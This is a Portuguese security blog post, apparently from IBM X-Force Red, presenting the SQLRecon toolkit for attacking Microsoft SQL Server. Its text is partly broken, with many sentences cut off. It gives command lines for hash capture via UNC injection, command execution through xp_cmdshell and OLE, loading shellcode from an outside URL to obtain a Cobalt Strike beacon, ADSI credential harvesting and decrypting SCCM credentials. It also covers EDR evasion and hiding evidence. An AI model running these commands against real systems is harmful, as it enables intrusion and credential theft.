Ao longo da minha carreira, tive a oportunidade privilegiada de conhecer o funcionamento interno de algumas das maiores organizações do mundo. Na minha experiência, a maioria dos setores verticais depende de redes Windows corporativas. Na verdade, posso contar nos dedos de uma mão o número de vezes que vi uma rede descentralizada zero trust, Enterprise Linux, rede macOS ou a alternativa Active Directory (FreeIPA).
Ao navegar por essas redes corporativas grandes e frequentemente complexas, é comum encontrar Microsoft SQL Server, que normalmente é implementado para dar suporte a uma função de negócios. Para leitores que não estão familiarizados com o SQL Server, a verdade é que ele é um software de banco de dados relacional geralmente instalado em um servidor Windows. A finalidade principal do SQL Server é armazenar e fornecer dados às aplicações ou aos usuários.
Este post de blog vai avaliar a superfície de ataque apresentada pelo SQL Server e como explorar configurações incorretas e vulnerabilidades usando a ferramenta do X-Force Red
As vulnerabilidades e configurações incorretas do SQL Server estão bem documentadas. Embora esses pontos fracos aparentemente sempre tenham existido, o fortalecimento do SQL Server continua sendo frequentemente negligenciado pelas equipes de defesa. Estou me referindo principalmente a fortalecer a configuração subjacente e impedir o acesso trivial ao serviço.
Uma justificativa plausível para essa omissão é que existem riscos maiores que uma organização precisa priorizar e lidar. Como resultado, o fortalecimento do SQL Server torna-se secundário, uma vez que alterações nas configurações do banco de dados de produção podem resultar em problemas de disponibilidade, que podem se manifestar em problemas operacionais e, em última instância, afetar a produtividade dos negócios.
Boletim informativo do setor
Mantenha-se atualizado sobre as tendências mais importantes (e intrigantes) do setor em IA, automação, dados e muito mais com o boletim informativo Think. Consulte a Declaração de privacidade da IBM.
Sua assinatura será entregue em inglês. Você pode encontrar um link para cancelar a assinatura em todos os boletins informativos. Você pode gerenciar suas inscrições ou cancelar a inscrição aqui. Consulte nossa Declaração de privacidade da IBM para obter mais informações.
Uma das configurações incorretas mais comuns que continuo vendo em redes corporativas é a capacidade de qualquer objeto de domínio autenticado se conectar ao serviço SQL como uma conta de baixo privilégio. Isso requer apenas um contexto de domínio válido. Em outras palavras, um token válido para um usuário de domínio ou uma conta de computador do domínio.
Um exemplo para ilustrar, se a estação de trabalho de um usuário corporativo comum estiver comprometida e houver uma rota de rede para um SQL Server mal configurado, é possível que um adversário:
Esses são apenas alguns exemplos do que um adversário pode conseguir ao acessar um SQL Server mal configurado em um contexto de domínio. A superfície de ataque apresentada pelo SQL Server sempre dependerá do ambiente e da configuração em questão.
Nos últimos tempos, os operadores de red team têm sido verdadeiramente privilegiados pela variedade de abusos do Active Directory que podem ser aproveitados para elevar privilégios em redes corporativas da Microsoft. No entanto, à medida que as equipes defensivas começam a lidar com essas fraquezas, naturalmente os caminhos para aumentar os privilégios por meio da exploração do Active Directory tendem a se esgotar.
Ainda assim, seguimos em frente e avançamos na proverbial lista de ataques, buscando, com otimismo, caminhos de escalonamento que nos ajudarão a agir de acordo com nossos objetivos. Confesso que reluto um pouco em admitir que, durante muito tempo, o ataque ao SQL Server estava bem no final da minha lista de prioridades. Em vez disso, optei por priorizar coisas como espaços de armazenamento compartilhado, aplicações web internas, ferramentas de DevOps ou infraestrutura de nuvem. Você provavelmente já imagina onde quero chegar…
Em algum momento de 2022, eu estava em uma operação e cheguei a um ponto de estagnação após esgotar todos os caminhos de escalonamento preferenciais. Isso se deveu em grande parte a um ambiente excepcionalmente bem reforçado. Pelo menos, era o que eu pensava antes de descobrir um grande conjunto de servidores SQL Server, em que certamente havia alguma configuração incorreta ou vulnerabilidade.
Sem que eu soubesse na época, e somente depois de escrever esta postagem no blog, descobri que a Kaspersky constatou que os ataques recorrentes usando o SQL Server haviam aumentado 56% em 2022. Esse é um número impressionante.
Como operador de red team, costumo interagir com sistemas comprometidos nas redes dos nossos clientes por meio de um framework de comando e controle (C2). Os clientes com os quais temos a sorte de trabalhar geralmente têm bons programas de cibersegurança, equipes de defesa capazes e controles de segurança modernos, como soluções de detecção e resposta de endpoint (EDR).
Várias ferramentas foram desenvolvidas ao longo dos anos para atacar o SQL Server. O que eu sempre acabava buscando durante os testes de penetração era
As soluções de EDR podem ser um adversário formidável, pois fazem um trabalho fantástico na detecção de ferramentas maliciosas de código aberto projetadas para segurança ofensiva, especialmente aquelas que dependem do PowerShell. Isso não significa menosprezar as ferramentas de pós-invasão do PowerShell, elas servem a um propósito, mas não para o problema que eu estava enfrentando no ambiente em que estava.
O problema que enfrentei na minha operação foi que eu precisava encontrar uma maneira de me conectar ao Microsoft SQL Server e começar a analisá-lo para determinar se havia alguma configuração incorreta ou vulnerabilidade. No entanto, usar qualquer uma das ferramentas de pós-invasão existentes do SQL Server, que dependem do PowerShell, teria sido uma maneira certeira de ser pego pela equipe defensiva. Isso se deve a uma série de razões, que não irei detalhar, mas o PowerShell não é a ferramenta ideal para realizar ataques pós-invasão devido a funcionalidades de segurança como AMSI, modo de linguagem restrito e vários estilos de registro. Essa situação se agrava ainda mais quando uma solução EDR e outros controles de registro e monitoramento estão em funcionamento.
Como alternativa, operadores de red team frequentemente escolhem C# como linguagem para desenvolver ferramentas pós-invasão, pois ela oferece uma maneira fácil de se conectar com o framework .NET juntamente com APIs do Windows.
Não sou um desenvolvedor C# ou .NET, mas sei o suficiente para fazer ferramentas que resolvam um problema que estou enfrentando. Fila , um toolkit SQL em C# projetado para reconhecimento ofensivo e pós-invasão.
Provedores de autenticação
Módulos de enumeração
Execução de comandos, movimento lateral e escalonamento de privilégios
Segurança operacional
Outro
Para obter informações detalhadas sobre o uso de cada técnica, consulte o wiki.
Para preparar o cenário para as próximas demonstrações, estarei operando a partir de uma estação de trabalho Windows 10 comprometida que pertence a Jeff Smith
A estação de trabalho de Jeff tem uma rota de rede para três SQL Servers, cada um executando versões diferentes; 2016, 2019 e 2022.
Um link SQL foi configurado entre
Além disso, existe um link do Active Directory Services (ADSI) entre
Por fim, o
Figura 1: configuração de rede
Além disso, usarei o Cobalt Strike, que é um framework popular de comando e controle, para realizar tarefas pós-invasão a partir da estação de trabalho comprometida de Jeff
Figura 2: executando o comando whoami
No momento em que este texto foi escrito,SQLRecon domínio, há um SPN definido para algumas contas diferentes, o que é demonstrado na captura de tela abaixo.
SQLRecon.exe /e:SqlSpns /d:kawalabs.local
Figura 3: identificando SQL Servers por meio da coleção SPN
O
SQLRecon.exe /a:WinToken /h:SQL02 /m:info
Figura 4: obtenção de informações sobre SQL02
Um agradecimento especial ao Daniel Duggan (@_RastaMouse) por suas contribuições aos módulos de enumeração nos
Módulos Standard são executados em uma única instância do SQL Server.
No exemplo a seguir, eu uso o
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami
Figura 5: enumeração de privilégios de SQL para
Por padrão,
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases
Figura 6: enumeração de bancos de dados no
Você pode se conectar a outros bancos de dados especificando o nome do banco de dados com a /
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"
Figura 7: obtenção de dados fictícios do cartão da
Passando para alguns módulos mais interessantes,
SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects
Figura 8: Injeção de caminho UNC
Na captura de tela a seguir, podemos ver a conexão sendo feita por
Figura 9: obtenção do hash NetNTLMv2 para
SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe
Figura 10: demonstração da proteção que impede a execução do comando
Como visto na imagem acima, uma barreira de execução é encontrada e uma mensagem de erro é recebida, indicando que
SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp
Figura 11: demonstração de outra proteção, em que privilégios insuficientes impedem que a execução de comandos ocorra
Como esperado, o baixo privilégio
A impersonação de SQL é uma permissão especial que, essencialmente, permite que um usuário ou grupo opere com a permissão de outro usuário, bem como com suas próprias permissões. A captura de tela a seguir é tirada da configuração de back-end do
Figura 12:
SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate
Como vemos na captura de tela abaixo, a
Figura 13: enumeração de contas que podem ser representadas no
Para demonstrar outro módulo de execução de comandos,
Módulos de impersonação sempre são precedidos pela letra
a:WinToken /h:SQL02 /i:sa /m:iEnableOle
Figura 14: habilitar procedimentos de automação OLE usando impersonação
Agora que os procedimentos de automação OLE estão ativados em
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"
Figura 15: usando o PowerShell para listar um diretório em um host remoto
Como visto na captura de tela acima, um objeto OLE gerado aleatoriamente é criado, o comando malicioso é executado e os objetos OLE são destruídos. Isso é intencional, pois não queremos deixar para trás nenhuma evidência de nossas ações.
Na captura de tela a seguir, podemos ver a conexão sendo feita pela
Figura 16: obtenção do hash NetNTLMv2 para
O exemplo a seguir demonstra o uso de impersonação para executar o
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist
Figura 17: Habilitação
É sempre uma boa prática reverter as configurações para o estado original em que se encontravam.
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp
Figura 18: desativando os procedimentos de automação OLE e
Figura 19:
A configuração de um link de uma instância do SQL Server para outra geralmente exige um conjunto de credenciais privilegiadas para estabelecer e vincular o link. Isso é benéfico para os adversários, pois permite que comandos sejam executados no SQL Server vinculado no contexto da conta que estabeleceu a conexão. Outro ponto a ser considerado é que os servidores vinculados podem ser segmentados a partir da rede em que um adversário está operando. Isso poderia representar uma oportunidade para ultrapassar limites de segmentação e entrar em uma zona de rede com requisitos de segurança mais elevados.
SQLRecon.exe /a:WinToken /h:SQL02 /m:links
Figura 20: enumerando SQL Servers vinculados em
Os módulos vinculados são sempre precedidos pela letra
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami
Figura 21: enumeração dos privilégios SQL que podemos assumir no
Como pode ser visto na captura de tela acima, estamos operando no contexto do
Todos os módulos de execução no
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr
Figura 22: habilitação da integração CLR no
A integração com o CLR permite que conjuntos de dados .NET personalizados sejam importados para o SQL Server. Esses conjuntos de dados são armazenados dentro de um procedimento armazenado antes de serem executados. Este é um bom ataque de movimento lateral.
Na captura de tela a seguir, crio um assembly .NET personalizado compatível com o SQL Server CLR chamado
Figura 23:
Se você quiser saber mais sobre os assemblies .NET personalizados compatíveis com o SQL Server CLR, visite a seção CLR do site
Na demonstração a seguir, fiz o upload de
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode
Figura 24: obtenção de um beacon Cobalt Strike no contexto de
Obviamente, o exemplo anterior exige que
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode
Figura 25: obtenção de um beacon Cobalt Attack no contexto de
Figura 26:
A configuração de um link ADSI de uma instância do SQL Server para um controlador de domínio do Active Directory não exige necessariamente credenciais privilegiadas. No entanto, durante operações no mundo real, vi casos em que o princípio do menor privilégio não foi aplicado.
No exemplo a seguir, eu uso o
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks
Figura 27: enumerando links no
Agora que verificamos que existe um link ADSI em
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103
Figura 28: Ataque de coleta de credenciais ADSI com ligação dupla
Uma das maiores extensões para
A partir de agora, vou me referir ao ECM e ao SCCM simplesmente como SCCM.
No exemplo a seguir, uso o módulo de bancos de dados para enumerar os
SQLRecon.exe /a:WinToken /h:MECM01 /m:databases
Figura 29: enumeração de bancos de dados na
Como vemos na captura de tela acima, o
Os módulos do SCCM são sempre precedidos pela letra
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
Figura 30: enumeração de todos os usuários que podem fazer login no SCCM via o banco de dados SCCM SQL Server
Também é possível enumerar tarefas que foram configuradas no SCCM usando o
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
Figura 31: enumeração de tarefas configuradas no SCCM via banco de dados SCCM SQL Server
O SCCM geralmente precisa armazenar credenciais, que são usadas para autenticar sistemas ou recursos em um ambiente para implementar pacotes de software ou executar qualquer uma das várias outras ações fornecidas pelo SCCM. Usando o
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials
Figura 32: obtendo credenciais armazenadas no cofre via banco de dados SCCM SQL Server
Na captura de tela acima, podemos ver que uma credencial foi protegida, e esta é a credencial do
Usando a lógica de Adam Chester( @_xpn_), é possível descriptografar as credenciais armazenadas no cofre do SCCM e obter a senha em texto simples para contas protegidas. Isso exige privilégios de administrador local no servidor SCCM. Na captura de tela a seguir, uso o
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials
Figura 33: descriptografia de credenciais SCCM armazenadas em cofre
Para evitar que os invasores abusam do SQL Server, os defensores podem adotar uma abordagem em camadas ao implementar controles de segurança. Em primeiro lugar, eu sugeriria a leitura da orientação oficial da Microsoft sobre as melhores práticas de segurança do SQL Server.
A próxima etapa deve ser a orientação de prevenção, detecção e mitigação no
Os seguintes controles de segurança devem ser considerados para implementação em nível de rede.
estações de trabalho e servidores no ambiente.
Os ataques contra o SQL Server continuam sendo relevantes no cenário atual de cibersegurança. Os adversários estão sempre evoluindo as técnicas para escapar dos controles de defesa e, ao fazer isso, estão utilizando cada vez mais a exploração de serviços auxiliares, como o SQL Server. Esses ataques se tornaram mais sofisticados, muitas vezes empregando técnicas menos comuns para contornar as medidas de segurança tradicionais.
Ao explorar o SQL Server, os adversários podem obter acesso não autorizado a dados confidenciais, manipular bancos de dados e até comprometer sistemas inteiros. As consequências desses ataques podem ser graves, resultando em violações de dados, perdas financeiras e danos à reputação de uma organização.
Para mitigar o risco desses ataques, é fundamental que as organizações revisem suas configurações do SQL Server e adotem as melhores práticas de segurança. Além disso, as organizações devem investir em soluções de segurança que ofereçam recursos de monitoramento em tempo real, detecção de anomalias e análise comportamental. Essas soluções podem ajudar a detectar e responder a ataques de forma mais eficaz, minimizando o potencial impacto em dados e sistemas críticos. Ao tomar medidas proativas para proteger os ambientes do SQL Server, as organizações podem reduzir significativamente o risco de serem vítimas desses ataques e proteger seus valiosos ativos de dados.
Você sempre pode encontrar a versão estável mais recente do
Se você estiver participando do Black Hat Las Vegas e tiver interesse em saber mais, poderá participar da minha sessão: explorando o Microsoft SQL Server com SQLRecon na quinta-feira, 10 de agosto às 13h.